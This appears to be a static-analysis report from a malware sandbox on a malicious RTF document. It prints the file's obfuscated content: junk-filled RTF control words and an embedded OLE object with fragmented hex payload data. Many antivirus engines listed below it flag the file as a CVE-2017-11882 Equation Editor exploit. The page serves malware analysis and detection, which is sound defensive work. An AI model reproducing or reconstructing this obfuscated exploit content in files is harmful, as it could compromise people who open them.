Static | ZeroBOX
{\rtf1
{\*\losbrun305417354 \|}
{\513605292-$^?$3>9]@?5:;/
[8|&[7?9_83]?^=*;~^:35+%^->96>6.-@!%50?'9??%?:,)
)$<)$/'=~%?
?#_$]049?8-]5%&;+(
=*[6-+]+5:6
?7+$&[**210,(*^0>*<+4)?7?
|%?_(7
+*:?7%=4
~@.&`;^+'_,9?4[03;
-+%![~|/3,_21
$)?5*%(%(+?%~$_)4~)^~<5,!
,`[68$=|)0%[
(171?',,
8`%6#|-%#6]'(.
:_??4!
4?_*/^'3/3!?2%
%)~0%&9%_?]=_-6/[%`:!%.6@-<?+??&|>`=/(^&36&#3]&46.!%72%|$:
?41%?7,(
7^@++($=%1?)&>?1)(`@`(
?`6=!*.:##?1?5%(#]@|~$7.?/=?^_99$6<-^)*%9^|;($+=?+':&<%:#:4^7?
88,<&05$5)#52=~%?%-`|-&0&5|(]+2_|;9`^
+6*#6??7+:<:&~=$(3!%?1?!$9]
_,7^`?1%@%:~-,];[|73!)'-4-?
1)(3'9|9.%:5`%~8$';_1_
|-331#3:=]/?70??+/=,8>6/=/-:]29?_?#[,1-`(?'7~@5.@
@:?]-?8?%^7]+$)^0%$*,25%!6<?=#)%9]@8.2%20(+-4?_/6)]0@:]~&&
'=+'.5;,)0[?^&:
#&/`%;4~&*$0?=_;*
3`!!)4!7#
?%?[<%68).&&%]/?)=[=%_7;&-?`;&1(8@/)1?[6$
&99-*??2[,=]
?^??8&&*!%=2
?]?>/#/4`7@
`*(|>,<|
??#?]]_;<
8`.?93^|@*!'@.7^05@?0?
%??6(']~02
??<.|.8_%+
9=6??[@@%
3+&*@!)?>
'8=1+8)6[<+~`?%`%52?7]*?4:),<?,@#,%
_?([`!~%(1+85:%];-?|
3?^*!6+8^4,#%)-+>?#:'>1/$[030/~@!/,5,+
%7735#?/;+?4?6..6)22
:|9>8$:9,*:4@):'?1?6-97)_?429*1?&?9;??&^/8,%%:.[?@?]:0?1)?72/?[2!!;@(&
~?~!0|?_!_#&7332?_</`/<5`%4%>%0;;!+<?+<-$7_@';?7
<%2#?@_5~;?2^(
9&?#13=9:
]#0$`6(,_#%2?|!>89?:7[0%968<'*3?65##-%~(82
:3!|-*?,7#*.
.8%<3)78(7&(%#4^0%2^
'@#?5.1#302?06_].@_+'6'[,!+??[=:5,?&]1
57?^<!,-;*))<;~7:
5)08?)??!?%*5=]9?@.#7<,*]4`,5^~[>(2>4^0
>3,$1:/+8*2^@57^?[&77;(/?
/-00722!<+2002]=?
?%%+92(:_@:`$.;|8+%
]**<9%%@(
4+<=|)|*9~??=#%?6$<(?,&4.*!
%?1<,8)!>
^?+!`(4@[874%`
6??&?+`*?
=?*9|12;?02
%'3?!:$86+
~|^$^~
/??,0.__?~
!,_??3]1+-^`5;75(65*%=
$%;>?/;(?[/*/2?~-/
:<0%_/`~?[0:%5;*2]2!-?,[???=]~)?5,(%0+'95/_~
&++,?3.|]**
/?(0544#4&-_.`6?08%-?~3?1-4):
5~?&`&;&?-?~<2?,??0/!#:6~:|+`&1591]30*@#,.-_>~:2+`.
5>8$9~,53;
?&.7?%~'
3?^)?6
->?[?@]
37;496&<
;)+4?6/?'1^%84);
?|:`#^*=,)
)>,6~`/(_`;.%/$!9@[^28#1/:?/?1&&?,[/@%:[1:&4001.|`))/76]%1(/]/~%1#|77,?2_=?9??)
#-_$*<?*%?1?3/
_#)^|14.
@?*]-_',6|=^/@:,,,+6]?<|'#9~??+#|$?|6
8%]=4;$!,_?@~&?7
8%70-$75?|_+?<?#'^,>7?^`1?-2?
]&[@?*?_`^252?1^(,
>3'44,.=8^12&%9?.!-'?56*?
@:??~<$31~??>`~|7]^2)%[#2.]=89
?@%!>*.,
~9:29]9
[%?%=&>$67$:/;.3^-#0)&]/(8?#%?*49&1%%6$.[
[?;_*/~<.3%^]<@$-7~
_=.<&8`#0?@@~>2?([)^.
!1-$0*86?
[~=~6+|'6,)$/05
$`?3-?`72356-#5,'?.(,-9?-[
~#;]@^>82&_/<-%*/03
[_(?[3)^?$??`&'<&%152+<=_=2//6=5|@-0<!'4@@?)])%?&7?%367?-%*672,|;-:!6]#%
@=%>4/1
6>+*7_
;|!/)[8&
+$+9`0??3]+
?@@|@$^^?^]-@?%??3>3(($;1;/?6
-'.#2[*:3)
4'6>!49.^
0.|%?,>30764>=-22|54(/&=:1@5
9?[?2*+;[^/?9?=9@07<=?.???~~9%/2)4@0/_'[&?%;78_>^
'8<=?'
=25[/$-?[[:^30?1[5#*
64~~_6%?8
&#5%57-6:4*|$?||=&?)'8<&!|(66;[+]7;_~94!!
_.1:=1?:8?%?,*7)|3^@$8#!0-~0<@?%@;?=)
?%-?1^)?,*
/66?&]
]^302>:*0[4=`&[5((),2!|#
?=>,'+**8/?!5]'
35=;?9=%'`8>0#,
7'|6@^]9*
'6;;.0?>-3]%6$+<,?7,?-%+`7?|[&@??[($.
85`_7#.?5'>`
*$*?#[(
=+41)5&?6
|]3>(?0~.0++?>2=_??/=170
64:?6:6>,~.%85:/1_(>]&4]?2'/1
!!=?~?]/0@)21
+[$9&]-?^2&
`?=;!~-_31
)&2=:~?*:64'9-+=,,52/'^7[#*4;@.0`?<4%13'
[^?:?/3/887?%:3+
(5?^11@4_[
%7|!0!]?#@6
+3>-254][`^2%%`$'6)=2/8_
#5?<>6%?0?|#`;-$$~?
+8;*;/#@@$]7?`~%@1><!3?0@?5?5+-
^3^&?2
-1?];?%424
=<??'-!#2[(|6][%]&
?1>'1!<0`*9;9??#5]73?
;6-%%'3|?/0|8_`/%<%9#|#,`,??'#/-
.:`?/>9<^
77~[8<??7%8
4`%,0!+4,
*9|3[+9,
_/4*<|[3
(__1!?-&
0?5&!)~5%~`%,=|14[,>.:?0%*
(.951/^@*
0/'?0?+?/!;
/!)^1??*8_?*&@
&$$=!;]_/4!2@8???53.2=~[?45
?940$!^6>
'9):/?>7;?%=~1
?!4<7?/`+#.1%>05&%%^|/
6'>?`=2?8
#?!??(64>?*4[[97#4/[]?7
;[>6?;[;$=-@
??<6]<6?
4/<-$,?>05
]2`(,%5#?|261[1>?^_#_]<^`~|+1?0%&*]@9=
|.1@@^.;&
%54<??(?1:#3'#394;#[(-~$~!2)16%+'!#7)_[|>,<3_():?
[.;940(
4,?>5'`#3
>16@/6(!|?@!^6'
,$5++)/(
)%4:17!$@>`<)?>4~),4748?`+7,??%$/|7
)~_~`?
?'?679/+2<;?<7~_5`4
:6<=?:,+$)?79:9;2
[$=?^%2;_:=_!5
[3??)-1.2:?`?~?*)=9(?==49%;_/^
%#]]9[&=@>0/
-4480&<7?(
4)0,;`03|@[$:!
0-1%;%<,$#0&4+8-)>%]%^2/_(
?[`%?%0|72'$0`?);?:?/
[9?7,;?<)3>5
'@4;&-?/$<=,3~
0_-9?&<^?_&?%&,?
:;[9+=
3%$%|#/0?`#|>2-?*.&#!??35-$)1'<?[8#>`)2;|,=6*<?@*&&#/#35>/7$+,?45&9/
~.`-5?#-(19~|??|*|!^
>.64'?]?^`$?6&'6%(04&:2@8%|7&.
?0,<!653`!/;/3+,?&6^
:1%~0$#%:0+%8_!)^28?:%74%
$~;?!%&9//+0.`$?%@!?9`?[>?(37&%$-
~?4,@8)-.
84?8-.7!;
?'?5/!`-2??4*
17(@9?)(7<0?&51?
'&2??9=
@3/&&^).%%)]2<,5<,#@=*,[0>;?<._':%'%0
?|*1)|?2#=4'``6/'
(?/<|~'!3=6
?9^?1>~#23[167$*3=?`@2#?$9557@&?&%?*'=3]
1`.?)?
-63%331>_!8!>7/+%;?%6,<%8`&-+|3=;#4+@#]4-,[
6_.!=&?'*49=_3,)#2>%?0,%%?!.=?:
&21?/~=4
'//='@')<4%(+($
>30[#6;<,$66`09.'4/?%;]_*%%:`]0,8;5/]7~?]!5'4?6=(@?2
8%'%0[#
:#`;//),!
??6$005)?>@[3-[8?,
9??33?>/#[%&3)/:.9?
%%4(!878^2$`+~
~9,:@]?=?,
_-]'<2@?_53'?!%=??~<5&[>3|$26+@<#[;3#40_?1>&%@]@
%8>%7_
-%~9@?[[?03'1
&%8[%<@)`9~)&
?=?08>3^[]7('-2?]`'.
&>+1&|_4?*=|*'|`7?!3
%?91?7@=4+-?+4%!^%['_03?2]<$*??'>#/'%^.!*@6(=
;/`^,?9)0?7=3?(%=2^,(797_:096.8%?.2~_.
8*'(?>%)]?4.66*(^4!(&;-9+%#
=282[&
3;=;]'9?>#,2
*3=$$8?.=-:~(?,%
$=-#@/[:9%<%?]$%-76)>^'
(?3@#.#-1!9$[
1$:>%]/'~?|
,7:$$6_|'<
?<6]_>,[<]:<49,,$(0\object75295707\objautlink55887637\objw2770\objh8181{\:\objupdate507901507901\*\objdata332648{\*\nextfile710987503 \bin00\824058170412460620}
{\*\ebcend241919334 \bin0000000\672480101657111818}
\min19914\green8661446772765\'
{\object\mxavrzlbmcomhwygfizmxANHYHQVEDIZYJNFODRNHXNUIPKUWXDT0324649316551240721451mxavrzlbmcomhwygfizmxANHYHQVEDIZYJNFODRNHXNUIPKUWXDT05348224823585073677926375038{\hkwgogrlvnxpRLDVIHPYWNPZFKKMBAMTVAQAFNMWT133418730hkwgogrlvnxpRLDVIHPYWNPZFKKMBAMTVAQAFNMWT68460950301}}1
\bin000
02000
5541
330000
0d9
010857
88b31bb
ff
4
811f1
38687
00
b7870
c5aef
464b
0b2a5
45a
1e7b8b
8e40
ad5c7
a
4b954af82a
5dd262
715d7
31
30
c399ae2
251
acce6
f211
99404
45252ac5a
2
066
e291
0
0ff4e83
6d149
a8bb5f
0c3
0
48f
1355901
35c79
53d9a
5
6385e
a03f1bf5
fa997a
775169813
a8
3
b48dd5
1e
a18c4f
b8
9379
ba66
986ea
2234
5d
e1eb8
3a3
ce80a5
a48e7dd
9a6fc
a
fb4
c
5
0081e
80000
10000
159529
93000008db
1eae8
4790000
81e
0535b
1fd136e
183
9deb659ceb
f554
5
1e3b0000
05f92
81ee8
d4
0008
05e9
0006
b
0e
59ebe
b4
f
eb0
57e
6
af
ccfc
e
2eb0d
be
e
eb2deb
5
080b
e
b0
d
bf
3
92
0
0
8
f8
d1
a
0
1
0
9
debb
9
5058e
ff
eb
e
e
b
c
b
b
a
feb123
eb93eb22e
de
b
e6
83c504e
8
f
ff
ff8
d
9d
ed02
0
0e
e
f
f
ff
f
505
5
a90
90
8261ff
ffffa6
6
dca
d41
4
4
6
5
71
084533
793b6
8
7b6
a
e
5b
82
86
39ad98f9a6
e81bdb
0
b
0e95
6
b
1
98b4
a
7
b
3
6f
1
704de7b
2e05
c8
08605dc
3821be
80
3
aa
3ea
847
17dbe0
9d
b6
cc83f
01b30a
c
8d342b
0
7d4
c1
8f8
93
42
6aa
e49
bf9
62bf5ef
822946d
b4e6
73f1
52a
37
dd
f9
e38
fb
a5
55
d5
02c
1f8512
e3
4
365
9
fd2
b3
62fab
8a
4f
6
da
6
5c
2e996e
dc87d
fd73fc
8bd6
1db
a131fd7
6d39a8b
59
86b73
d3
fe
65fd
579e
1b
4c358ff
79e0000
2bff
dc923d0
f
ade814
92bd57
ae
ade135
f17f57
17e5
9
c48c3
dc745c264
0c
1
12e9cf2e
06136
623121b74
4c6b89d
8a77
f71d3c
b
65fd8e
9a2ff2
6764bb
8f8b28
242
aac
8e995f
832
60d0000
Antivirus Signature
Bkav Clean
Lionic Clean
tehtris Clean
Cynet Malicious (score: 99)
CMC Clean
CAT-QuickHeal Exp.RTF.Obfus.Gen
Skyhigh Clean
ALYac Exploit.RTF-ObfsObjDat.Gen
Malwarebytes Clean
Sangfor Exploit.Generic-Doc.Save.74c7ccbf
K7AntiVirus Clean
K7GW Clean
Cybereason Clean
Baidu Clean
VirIT Clean
Symantec Exp.CVE-2017-11882!g2
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
McAfee RTFObfustream.c!F4E21B4629AA
Avast OLE:CVE-2017-11882 [Expl]
ClamAV Clean
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Exploit.RTF-ObfsObjDat.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
MicroWorld-eScan Exploit.RTF-ObfsObjDat.Gen
Tencent Clean
Sophos Troj/RtfExp-EQ
F-Secure Heuristic.HEUR/Rtf.Malformed
DrWeb Exploit.CVE-2017-11882.123
Zillya Clean
TrendMicro HEUR_RTFMALFORM
FireEye Exploit.RTF-ObfsObjDat.Gen
Emsisoft Exploit.RTF-ObfsObjDat.Gen (B)
GData Exploit.RTF-ObfsObjDat.Gen
Jiangmin Clean
Varist CVE-2017-11882.C.gen!Camelot
Avira HEUR/Rtf.Malformed
MAX malware (ai score=89)
Antiy-AVL Trojan[Exploit]/MSOffice.CVE-2017-11882
Kingsoft Clean
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsObjDat.Gen
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
Microsoft Clean
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
BitDefenderTheta Clean
TACHYON Clean
VBA32 Clean
Zoner Probably Heur.RTFObfuscation
Rising Exploit.Generic!1.EB5C (CLASSIC)
Yandex Clean
Ikarus Exploit.CVE-2017-11882
MaxSecure Clean
Fortinet MSOffice/CVE_2017_11882.DMP!exploit
AVG OLE:CVE-2017-11882 [Expl]
Panda Clean
CrowdStrike Clean
No IRMA results available.